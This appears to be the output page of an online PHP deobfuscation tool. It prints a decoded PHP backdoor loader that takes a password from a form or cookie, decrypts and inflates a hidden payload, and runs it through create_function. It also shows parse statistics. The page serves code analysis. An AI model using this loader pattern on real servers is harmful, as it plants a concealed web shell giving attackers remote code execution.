Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$___=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);if($..

Decoded Output download

<?  $___=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);if($___!==NULL){$___=md5($___).substr(md5(strrev($___)),0,strlen($___));for($_____=0;$_____<15090;$_____++){$____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);$___.=$____[$_____];}if($____=@gzinflate($____)){if(isset($_POST['___']))@setcookie('___', $_POST['___']);$_____=create_function('',$____);unset($____,$___);$_____();}}?><form action="" method="post"><input type="text" name="___" value=""/><input type="submit" value="&gt;"/></form>

Did this file decode correctly?

Original Code

$___=isset($_POST['___'])?$_POST['___']:(isset($_COOKIE['___'])?$_COOKIE['___']:NULL);if($___!==NULL){$___=md5($___).substr(md5(strrev($___)),0,strlen($___));for($_____=0;$_____<15090;$_____++){$____[$_____]=chr(( ord($____[$_____])-ord($___[$_____]))%256);$___.=$____[$_____];}if($____=@gzinflate($____)){if(isset($_POST['___']))@setcookie('___', $_POST['___']);$_____=create_function('',$____);unset($____,$___);$_____();}}?><form action="" method="post"><input type="text" name="___" value=""/><input type="submit" value="&gt;"/></form>

Function Calls

md5 1

Variables

$___ ['TernaryOp', {'expr': ['IsSet', {'nodes': [['ArrayOffset', {'expr': '___', 'node': ['Variable', {'name': '$_COOKIE'}]}]]}], 'iftrue': ['ArrayOffset', {'expr': '___', 'node': ['Variable', {'name': '$_COOKIE'}]}], 'iffalse': ['Constant', {'name': 'NULL'}]}]

Stats

MD5 a15d6d14a6e057e3e8825a6541b5dc17
Eval Count 0
Decode Time 159 ms